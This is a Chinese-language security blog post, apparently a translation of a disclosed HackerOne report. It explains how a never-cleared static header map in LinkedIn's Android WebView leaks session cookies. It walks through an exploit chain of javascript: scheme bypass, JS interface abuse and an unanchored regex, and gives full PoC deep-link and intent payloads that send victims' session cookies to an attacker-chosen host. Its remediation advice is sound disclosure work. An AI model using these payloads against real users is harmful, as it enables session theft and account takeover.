白帽故事 · 2026年3月18日

LinkedIn(领英)最新高危(8.1)漏洞披露

一个从未被清理的静态字段、一个缺少锚点的正则表达式,再加上一处无人校验的协议漏洞——这三者叠加,竟能让两次普通的广告点击操作,直接导致用户的领英账号会话被完全接管。

本文将详细介绍国外白帽在领英Android端应用(com.linkedin.android)中发现的一处高危漏洞,该漏洞会导致用户的领英会话Cookie泄露至任意第三方域名。目前该漏洞已通过HackerOne平台上报、经平台研判确认、完成修复并正式公开披露。

file

核心总结

WebViewerFragment组件会通过一个名为CUSTOM_HEADERS静态ArrayMap集合加载URL时存储Cookie信息,且该字段在多次URL加载过程中始终不会被清空。若领英官方URL先完成加载(此时领英Cookie已存入该集合),后续在同一组件中加载的任意URL,包括攻击者可控的恶意域名,都会在请求头中继承这些Cookie信息。

该漏洞存在两种利用方式:

  1. 主动利用:攻击者构造特制深度链接,结合javascript:协议绕过、JavaScript接口调用和无锚点正则表达式漏洞,强制将受害者的Cookie信息发送至攻击者服务器。
  2. 被动利用:无需诱导受害者点击恶意链接,用户在领英信息流中点击普通广告的行为,就会触发跨域名的Cookie静默泄露。

漏洞根因

存在漏洞的代码位于WebViewerFragment.loadUrl()方法中:

public final void loadUrl(Uri uri0) {
    String s = uri0.toString();
    ...
    if (this.shouldUseCookies) {
        CookieManager cookieManager0 = CookieManager.getInstance();
        String s2 = cookieManager0.getCookie(s);
        ArrayMap arrayMap0 = WebViewerFragment.CUSTOM_HEADERS; // 静态字段
        if (s2 != null) {
            arrayMap0.put("Cookie", s2);
        }
        this.webView.loadUrl(s, arrayMap0);
        return;
    }
    ...
}

CUSTOM_HEADERS是一个静态字段,在Java中,静态字段隶属于类本身而非类的实例,会在所有实例中持续存在,直到该类被卸载前都不会被垃圾回收机制清理。

漏洞触发流程:

  1. 该组件加载https://www.linkedin.com → 浏览器Cookie管理器返回领英会话Cookie → 存入CUSTOM_HEADERS集合的"Cookie"键名下。
  2. 同一组件继续加载https://attacker.com → Cookie管理器针对该恶意域名返回null(无对应Cookie)→ 但第一步存入的"Cookie"键值对仍保留在静态集合中
  3. loadUrl(s, arrayMap0)方法执行时,会将领英的Cookie信息作为额外的HTTP请求头,发送至攻击者的服务器。

该漏洞的修复方式其实十分简单:在每次使用该集合前执行清空操作,或直接将静态字段替换为局部变量。但该漏洞的关键价值,在于如何通过外部触发条件,调用到存在漏洞的代码逻辑。

主动利用攻击链

目前不存在可直接打开WebViewerFragment组件的深度链接,想要调用该组件,需要依次利用三处独立的安全弱点,形成完整攻击链。

漏洞利用点1:VerificationWebView中的协议校验漏洞

深度链接https://www.linkedin.com/trust/verification支持接收verificationUrl参数,并会在WebView中加载该参数指向的地址。该链接的处理程序会对目标地址的主机名进行白名单校验:

Uri uri1 = Uri.parse(verificationUrl);
String host = uri1.getHost();
if (!CollectionsKt___CollectionsKt.contains(this.supportedUrls, host)
    || UriUtil.isSuspectedPathTraversalUri(uri1)) {
    uri1 = null;
}

主机名的校验逻辑本身无问题,但该程序未对URL协议进行任何校验。Android系统的Uri.parse()方法会将javascript://www.linkedin.com/...这类地址的主机名解析为www.linkedin.com,因此该地址可直接通过白名单校验:

javascript://www.linkedin.com/%0aalert(1)

这里存在一个小问题:应用会在加载目标地址前自动拼接一个查询参数:

Uri.Builder uri$Builder1 = uri$Builder0.appendQueryParameter(
    "renderContext", "trustVerificationDeeplink"
);

这会导致攻击者构造的载荷被修改为:

javascript://www.linkedin.com/%0aalert(1)?renderContext=trustVerificationDeeplink

该格式属于无效JavaScript代码,拼接的?renderContext=...会破坏原有语法结构。

绕过方法:在#片段标记前构造一个字符串常量,吸收拼接的参数:

javascript://www.linkedin.com/%0aalert('1#')

应用拼接参数后,载荷变为:

javascript://www.linkedin.com/%0aalert('1?renderContext=trustVerificationDeeplink#')

此时代码恢复有效,拼接的参数会被包含在字符串常量中,而//www.linkedin.com/%0a会被解析为注释语句加换行符,不影响后续代码执行。

漏洞利用点2:可调用WebViewerFragment的JavaScript接口

VerificationWebView组件暴露了一个JavaScript接口:

webView0.addJavascriptInterface(jsInterface, "Android");

该接口包含一个sendWebMessage方法:

@JavascriptInterface
public final Unit sendWebMessage(String s) {
    JSONObject jSONObject0 = new JSONObject(s);
    verificationWebViewFeature0._receiveWebMessageLiveData.postValue(new Event(jSONObject0));
}

该方法的观察者会解析JSON载荷中的additionalWebViewUrl字段:

String s3 = VerificationWebViewFragment.getNonEmptyString("additionalWebViewUrl", jsonObject);
if (s3 != null) {
    WebViewerBundle webViewerBundle0 = WebViewerBundle.create(s3, null, null);
    verificationWebViewFragment0.webRouterUtil.launchWebViewer(webViewerBundle0);
}

因此,攻击者可在JavaScript执行环境中调用以下代码:

Android.sendWebMessage(JSON.stringify({
    additionalWebViewUrl: "https://www.linkedin.com"
}));

该代码可触发launchWebViewer方法,但想要完成攻击,还需要突破最后一道校验。

漏洞利用点3:URL路由中的无锚点正则表达式

launchWebViewer方法会通过拦截器判断由哪个客户端处理目标URL,其中LinkedInUrlRequestInterceptor拦截器会校验目标URL是否为领英的文章地址:

static {
    WebViewerUtils.FIRST_PARTY_ARTICLE_PATTERN =
        Pattern.compile("(http|https)://www.linkedin(-ei)?.com/pulse/+");
}
public static boolean isLinkedInArticleUrl(String s) {
    if (WebViewerUtils.FIRST_PARTY_ARTICLE_PATTERN.matcher(s).find()) {
        return true;
    }
    ...
}

该正则表达式存在两个问题:使用.find()方法而非.matches()方法,且缺少^起始锚点,这意味着该表达式会在URL字符串的任意位置进行匹配。因此,攻击者只需在任意URL后拼接领英文章的URL格式,即可绕过该校验:

https://attacker.com/http://www.linkedin.com/pulse/1

该操作会强制让存在漏洞的WebViewerFragment组件作为web_viewer客户端,处理该恶意URL。

完整攻击链流程

1. 受害者点击攻击者构造的特制链接
    → 打开trust/verification深度链接,同时加载javascript:恶意载荷
2. JavaScript代码在VerificationWebView中执行
    → 通过javascript://www.linkedin.com/格式绕过主机名校验
    → 利用#片段标记技巧中和应用自动注入的查询参数
3. JavaScript代码调用Android.sendWebMessage()方法
    → 第一次调用:加载领英官方URL https://www.linkedin.com/...
    → 领英Cookie被存入静态集合CUSTOM_HEADERS
4. 延迟一段时间后,执行第二次sendWebMessage()方法调用
    → 加载攻击者服务器URL(路径中拼接/pulse/以绕过正则校验)
    → 静态集合CUSTOM_HEADERS中仍保留领英Cookie,随请求发送至攻击者服务器
5. 攻击者获取受害者的领英会话Cookie → 实现账号接管

被动利用方式(无需钓鱼)

这是该漏洞最具威胁的一点:上述主动利用方式需要诱导受害者点击恶意链接,这也是大多数WebView漏洞的常规利用手段,但本次漏洞的根因(静态集合CUSTOM_HEADERS始终未被清理),让完全被动的攻击成为可能。

领英平台的广告内容均会通过WebViewerFragment组件打开,这意味着:

  1. 用户在领英信息流中滑动并点击任意领英商业广告 → 领英Cookie被加载至静态集合CUSTOM_HEADERS中。
  2. 若用户后续再点击一个由攻击者控制的广告 → 攻击者的服务器会接收到仍存储在静态集合中的领英Cookie信息。

整个过程无需构造特制深度链接、无需搭建钓鱼页面、无任何可疑的重定向操作,仅需用户在正常使用领英的过程中,完成两次普通的广告点击即可。

从取证角度来看,该被动利用方式的隐蔽性极强:若领英平台调查账号被盗事件,主动利用方式会在日志中留下恶意深度链接的痕迹,而被动利用方式不会留下任何异常记录,两次广告点击的行为与正常操作完全一致。

漏洞验证代码(PoC)

部署以下HTML页面,将{COLLABORATOR_HOST}替换为攻击者的域名即可:

<!DOCTYPE html>
<html>
<head>
    <title>LinkedIn Cookie Leak PoC</title>
</head>
<body>
    <a href="https://www.linkedin.com/trust/verification?verificationUrl=javascript://www.linkedin.com/%250asetTimeout%28%28%29%3D%3E%7BAndroid.sendWebMessage%28%27%7B%22additionalWebViewUrl%22%3A%22https%3A%2F%5Cu002f{COLLABORATOR_HOST}%2Fhttp%3A%2F%5Cu002fwww.linkedin.com%2Fpulse%2F1%22%7D%27%29%7D%2C%201000%29%3BAndroid.sendWebMessage%28%27%7B%22additionalWebViewUrl%22%3A%22https%3A%2F%5Cu002fwww.linkedin.com%2Fhttp%3A%2F%5Cu002fwww.linkedin.com%2Fpulse%2F1%23%22%7D%27%29%3B">点击此处</a>
</body>
</html>

验证步骤:

  1. 在安装了领英Android端应用的设备中打开该页面。
  2. 点击页面中的“点击此处”链接。
  3. 领英应用会通过WebView打开该链接。
  4. 关闭或返回上一页面后,第二个WebView会自动启动,并重定向至攻击者的服务器。
  5. 查看攻击者服务器的访问日志,可发现Cookie请求头中包含受害者的领英会话令牌。

若深度链接处理程序并非默认配置,可使用以下基于intent的验证代码:

<a href="intent://www.linkedin.com/trust/verification?verificationUrl=javascript://www.linkedin.com/%250asetTimeout%28%28%29%3D%3E%7BAndroid.sendWebMessage%28%27%7B%22additionalWebViewUrl%22%3A%22https%3A%2F%5Cu002fhttpbin.org%2Fget%3f%2Fhttp%3A%2F%5Cu002fwww.linkedin.com%2Fpulse%2F1%22%7D%27%29%7D%2C%201000%29%3BAndroid.sendWebMessage%28%27%7B%22additionalWebViewUrl%22%3A%22https%3A%2F%5Cu002fwww.linkedin.com%2Fhttp%3A%2F%5Cu002fwww.linkedin.com%2Fpulse%2F1%23%22%7D%27%29%3B#Intent;scheme=https;component=com.linkedin.android/.urls.DeeplinkActivity;end">intent poc</a>

漏洞修复方案

漏洞根因和攻击链中的各利用点,需要分别进行针对性修复:

根因修复:静态Cookie头泄露问题

  • 在每次调用loadUrl方法前,清空CUSTOM_HEADERS集合;或更优的方式,将该静态字段替换为局部变量。

利用点1修复:协议校验漏洞

  • 通过String.startsWith()方法,强制要求verificationUrl参数仅支持https://(或http://)协议。

利用点2修复:JavaScript接口暴露问题

  • 若利用点1完成修复,该接口无需单独修复;但可将additionalWebViewUrl字段的可访问地址限制为可信域名白名单,实现深度防御。

利用点3修复:无锚点正则表达式问题

  • WebViewerUtils类中的正则表达式前添加^起始锚点,确保表达式仅从URL字符串的开头进行匹配。该类中的多个正则表达式均存在相同问题,需一并修复。

原文:https://dphoeniixx.medium.com/normal-usage-of-linkedin-leaks-your-secrets-74aa968850fd